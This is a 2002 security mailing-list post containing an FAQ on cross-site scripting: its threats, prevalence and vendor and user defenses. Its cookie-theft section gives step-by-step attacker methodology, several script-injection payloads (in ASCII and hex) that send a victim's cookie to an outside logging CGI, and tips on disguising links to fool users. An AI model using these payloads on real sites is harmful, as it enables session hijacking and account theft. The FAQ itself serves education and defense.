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From: zeno (bugtraqcgisecurity.net)
Date: Mon May 20 2002 - 16:36:37 CDT

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    I have released a paper which covers frequently asked questions
    in relation to Cross Site Scripting Attacks.

    The html version can be found below.

    - zenocgisecurity.com

                                                Article #2
                                     "The Cross Site Scripting FAQ"

    What is Cross Site Scripting?
    What does XSS and CSS mean?
    What are the threats of Cross Site Scripting?
    What are some examples of cross site scripting attacks?
    Can you show me what cookie theft looks like?
    What can I do to protect myself as a vendor?
    What can I do to protect myself as a user?
    How common are CSS/XSS holes?
    Does encryption protect me?
    Can CSS/XSS holes allow command execution?
    What if I don't feel like fixing a CSS/XSS Hole?
    What are some links I can visit to help me further understand XSS?


    Websites today are more complex than ever, containing a lot of dynamic content making the
    experience for the user more enjoyable. Dynamic content is achieved through the use of web
    applications which can deliver different output to a user depending on their settings and needs.
    Dynamic websites have a threat that static websites don't, called "Cross Site Scripting" (or XSS
    dubbed by other security professionals). Currently small informational tidbits about Cross Site
    Scripting holes exist but none really explain them to an average person or administrator. This
    FAQ was written to provide a better understanding of this emerging threat, and to give guidance
    on detection and prevention.

    "What is Cross Site Scripting?"

    Cross site scripting (also known as XSS) occurs when a web application gathers malicious data
    from a user. The data is usually gathered in the form of a hyperlink which contains malicious
    content within it. The user will most likely click on this link from another website, web board,
    email, or from an instant message. Usually the attacker will encode the malicious portion of the
    link to the site in HEX (or other encoding methods) so the request is less suspicious looking to
    the user when clicked on. After the data is collected by the web application, it creates an
    output page for the user containing the malicious data that was originally sent to it, but in a
    manner to make it appear as valid content from the website.

    "What does XSS and CSS mean?"

    Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with
    Cascading Style Sheets (CSS) and cross site scripting. Some security people refer to Cross Site
    Scripting as XSS. If you hear someone say "I found a XSS hole", they are talking about Cross Site
    Scripting for certain.

    "What are the threats of Cross Site Scripting?"

    Often attackers will inject JavaScript, VBScript, ActiveX, HTML, or Flash to fool a user (Read
    below for further details), or gather data from them. Everything from account hijacking, changing
    of user settings, cookie theft/poisoning, or false advertising is possible. New malicious uses
    are being found every day for XSS attacks. The post below by Brett Moore brings up a good point
    with regard to "Denial Of Service", and potential "auto-attacking" of hosts if a user simply
    reads a post on a message board.


    "What are some examples of cross site scripting attacks?"

    One product with many XSS holes is the popular PHP program PHPnuke. This product is often
    targeted by attackers to probe for XSS holes because of its popularity. I have included a few
    links of advisories/reports that have been discovered and disclosed just from this product alone.
    The following collection should provide plenty of examples.


    "Can you show me what XSS cookie theft looks like?"

    Depending on the particular web application some of the variables and positioning of the
    injections may need to be adjusted. Keep in mind the following is a simple example of an
    attacker's methodology.

    Step 1: Targeting

    After you have found an XSS hole in a web application on a website, check to see if it issues
    cookies. If any part of the website uses cookies, then it is possible to steal them from its

    Step 2: Testing

    Since XSS holes are different in how they are exploited, some testing will need to be done in
    order to make the output believable. By inserting code into the script, its output will be
    changed and the page may appear broken. (The end result is crucial and the attacker will have to
    do some touching up in the code to make the page appear normal.) Next you will need to insert
    some Javascript (or other client side scripting language) into the URL pointing to the part of
    the site which is vulnerable. Below I have provided a few links that are for public use when
    testing for XSS holes. These links below, when clicked on will send the users cookie to
    www.cgisecurity.com/cgi-bin/cookie.cgi and will display it. If you see a page displaying a cookie
    then session hijacking of the user's account may be possible.

    Cookie theft Javascript Examples.
    A example of usage is below.

    ASCII Usage:


    Hex Usage:


    NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.

    1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'

    HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27

    2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'

    HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74

    3. ><script&gtdocument.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'

    HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74

    These are the examples of "evil" Javascript we will be using. These Javascript examples gather
    the users cookie and then send a request to the cgisecurity.com website with the cookie in the
    query. My script on cgisecurity.com logs each request and each cookie. In simple terms it is
    doing the following:

    My cookie = user=zeno; id=021
    My script = www.cgisecurity.com/cgi-bin/cookie.cgi

    It sends a request to my site that looks like this.

    GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)

    This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public
    script can be found at www.cgisecurity.com/articles/cookie-theft.log

    Step 3: XSS Execution

    Hand out your crafted url or use email or other related software to help launch it. Make sure
    that if you provide the URL to the user(through email, aim, or other means) that you at least HEX
    encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few

    In my example I only forward the user to cookie.cgi. A attacker with more time could do a few
    redirects and XSS combo's to steal the user's cookie, and return them to the website without
    noticing the cookie theft.

    Some email programs may execute the Javascript upon the opening of a message or if the Javascript
    is contained in a message attachment. Larger sites like Hotmail do allow Javascript inside
    attachments but they do special filtering to prevent cookie theft.

    Step 4: What to do with this data

    Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI
    script. Now that you have the cookie you can use a tool like Websleuth to see if account
    hijacking is possible.

    This is only a FAQ, not a detailed paper on cookie theft and modification. A new paper released
    by David Endler of iDefense goes into more detail on some of the ways to automatically launch XSS
    holes. This paper can be found at http://www.idefense.com/idpapers/XSS.pdf.

    "What can I do to protect myself as a vendor?"

    This is a simple answer. Never trust user input and always filter metacharacters. This will
    eliminate the majority of XSS attacks. Converting < and > to &lt; and &gt; is also suggested when
    it comes to script output. Remember XSS holes can be damaging and costly to your business if
    abused. Often attackers will disclose these holes to the public, which can erode customer and
    public confidence in the security and privacy of your organization's site. Filtering < and >
    alone will not solve all cross site scripting attacks and it is suggested you also attempt to
    filter out ( and ) by translating them to &#40; and &#41;.

    "What can I do to protect myself as a user?"

    The easiest way to protect yourself as a user is to only follow links from the main website you
    wish to view. If you visit one website and it links to CNN for example, instead of clicking on it
    visit CNN's main site and use its search engine to find the content. This will probably eliminate
    ninety percent of the problem. Sometimes XSS can be executed automatically when you open an email
    or attachment. If you are receiving email from a person you don't know (or don't like) don't
    trust anything it has to say. Another way to protect yourself is to turn off Javascript in your
    browser settings. In IE turn your security settings to high. This can prevent cookie theft, and
    in general is a safer thing to do.

    "How common are XSS holes?"

    Cross site scripting holes are gaining popularity among hackers as easy holes to find in large
    websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft,
    Zdnet, Wired, and Newsbytes have all had one form or another of XSS bugs.

    Every month roughly 10-25 XSS holes are found in commercial products and advisories are published
    explaining the threat.

    "Does encryption protect me?"

    Websites that use SSL (https) are in no way more protected than websites that are not encrypted.
    The web applications work the same way as before, except the attack is taking place in an
    encrypted connection. People often think that because they see the lock on their browser it means
    everything is secure. This just isn't the case.

    "Can XSS holes allow command execution?"

    XSS holes can allow Javascript insertion, which may allow for limited execution. If an attacker
    were to exploit a browser flaw (browser hole) it could then be possible to execute commands on
    the client's side. If command execution were possible it would only be possible on the client
    side. In simple terms XSS holes can be used to help exploit other holes that may exist in your

    "What if I don't feel like fixing a CSS/XSS Hole?"

    By not fixing an XSS hole this could allow possible user account compromise in portions of your
    site as they get added or updated. Cross Site Scripting has been found in various large sites
    recently and have been widely publicized. Left unrepaired, someone may discover it and publish a
    warning about your company. This may damage your company's reputation, depicting it as being lax
    on security matters. This of course also sends the message to your clients that you aren't
    dealing with every problem that arises, which turns into a trust issue. If your client doesn't
    trust you why would they wish to do business with you?

    "What are some links I can visit to help me further understand XSS?"

    "Cross-site scripting tears holes in Net security"

    Article on XSS holes

    "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"

    Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.

    Paper on Microsoft's Passport System

    Paper on Cookie Theft

    The webappsec mailing list (Visit www.securityfocus for details)

    Many Thanks to David Endler for reviewing this document.

    Published to the Public May 2002
    Copyright May 2002 Cgisecurity.com